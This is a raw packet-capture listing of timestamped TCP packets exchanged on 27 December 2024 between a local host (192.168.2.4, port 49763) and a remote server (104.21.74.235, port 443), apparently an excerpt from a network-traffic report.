Dec 27, 2024 10:12:14.842106104 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.842147112 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.842225075 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.842240095 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.842272997 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.847982883 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.848025084 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.848073006 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.848083973 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.848113060 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.848130941 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.853291988 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.853336096 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.853379011 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.853389978 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.853419065 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.853441954 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.859209061 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.859229088 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.859311104 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.859328985 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.859366894 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.987355947 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.987382889 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.987423897 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.987442970 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.987468958 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.987487078 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.992213964 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.992234945 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.992265940 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.992275000 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.992314100 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.992335081 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.998121023 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.998142004 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.998181105 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.998188972 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:14.998218060 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:14.998228073 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.037889004 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.037914038 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.037952900 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.037961960 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.037988901 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.038012981 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.043879032 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.043905020 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.043941021 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.043951988 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.043979883 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.044004917 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.049143076 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.049164057 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.049221039 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.049228907 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.049262047 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.049277067 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.055139065 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.055160999 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.055233955 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.055250883 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.055290937 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.061073065 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.061093092 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.061141014 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.061160088 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.061188936 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.061208010 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.188585997 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.188618898 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.188680887 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.188689947 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.188726902 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.188739061 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.193396091 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.193417072 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.193499088 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.193511009 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.193552017 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.199368000 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.199392080 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.199470043 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.199481010 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.199527025 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.239248037 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.239269018 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.239371061 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.239382029 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.239425898 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.245141029 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.245162010 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.245225906 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.245239973 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.245284081 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.250416994 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.250437975 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.250504017 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.250514030 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.250554085 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.256405115 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.256426096 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.256480932 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.256493092 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.256531954 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.262304068 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.262329102 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.262366056 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.262375116 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.262397051 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.262409925 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.389874935 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.389904022 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.389951944 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.389961004 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.389990091 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.390012026 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.394633055 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.394656897 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.394721985 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.394731045 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.394768953 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.400655031 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.400679111 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.400734901 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.400747061 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.400759935 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.400784969 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.440754890 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.440777063 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.440853119 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.440862894 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.440902948 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.446585894 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.446607113 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.446670055 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.446677923 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.446717024 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.452610970 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.452635050 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.452697039 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.452708960 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.452724934 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.452749014 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.457882881 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.457904100 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.457989931 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.458010912 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.458086967 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.463787079 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.463807106 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.463886023 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.463901043 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.463942051 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.591048956 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.591074944 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.591181040 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.591197968 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.591243982 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.596347094 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.596369982 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.596447945 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.596457005 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.596493006 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.602826118 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.602849960 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.602921963 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.602931976 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.602946997 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.602972031 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.642819881 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.642847061 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.642920017 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.642929077 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.642971992 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.649264097 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.649283886 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.649357080 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.649367094 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.649408102 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.654803991 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.654829979 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.654867887 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.654881001 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.654903889 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.654920101 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.659297943 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.659333944 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.659354925 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.659363985 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.659384012 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.659404039 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.665229082 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.665251017 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.665333033 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.665344000 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.665388107 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.792392015 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.792416096 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.792483091 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.792496920 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.792516947 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.792532921 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.797962904 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.797985077 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.798031092 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.798038960 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.798052073 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.798074007 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.803287983 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.803309917 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.803375006 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.803381920 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.803407907 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.803416014 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.843417883 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.843440056 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.843524933 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.843553066 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.843592882 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.849283934 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.849304914 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.849351883 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.849360943 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.849381924 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.849395990 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.855318069 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.855341911 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.855381012 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.855390072 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.855405092 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.855432034 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.860564947 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.860594034 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.860635042 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.860642910 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.860670090 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.860685110 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.866584063 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.866611958 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.866652012 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.866658926 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.866672993 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.866693974 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.993707895 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.993735075 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.993782043 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.993789911 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.993820906 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.993840933 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.999330044 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.999361038 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.999411106 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.999418974 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:15.999452114 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:15.999461889 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.004535913 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.004560947 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.004594088 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.004611015 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.004630089 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.004646063 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.045017004 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.045043945 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.045073986 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.045084953 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.045106888 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.045128107 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.050929070 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.050956964 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.050990105 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.050997972 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.051018953 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.051043987 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.056854010 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.056884050 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.056910038 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.056917906 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.056943893 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.056963921 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.062098980 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.062120914 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.062159061 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.062170982 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.062237978 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.062256098 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.068150043 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.068176985 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.068224907 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.068236113 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.068268061 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.068281889 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.195182085 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.195209980 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.195260048 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.195269108 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.195302010 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.195319891 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.200527906 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.200550079 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.200604916 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.200613022 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.200639009 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.200649023 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.205841064 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.205862999 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.205904961 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.205910921 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.205936909 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.205949068 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.246958017 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.246980906 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.247042894 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.247052908 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.247092009 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.252892017 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.252916098 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.252971888 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.252985954 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.253009081 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.253022909 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.258196115 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.258217096 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.258301973 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.258325100 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.258363008 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.264077902 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.264101982 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.264159918 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.264174938 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.264199972 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.264214039 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.270092010 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.270113945 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.270190954 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.270203114 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.270246029 CET	49763	443	192.168.2.4	104.21.74.235
Dec 27, 2024 10:12:16.396615028 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.396639109 CET	443	49763	104.21.74.235	192.168.2.4
Dec 27, 2024 10:12:16.396701097 CET	49763	443	192.168.2.4	104.21.74.235
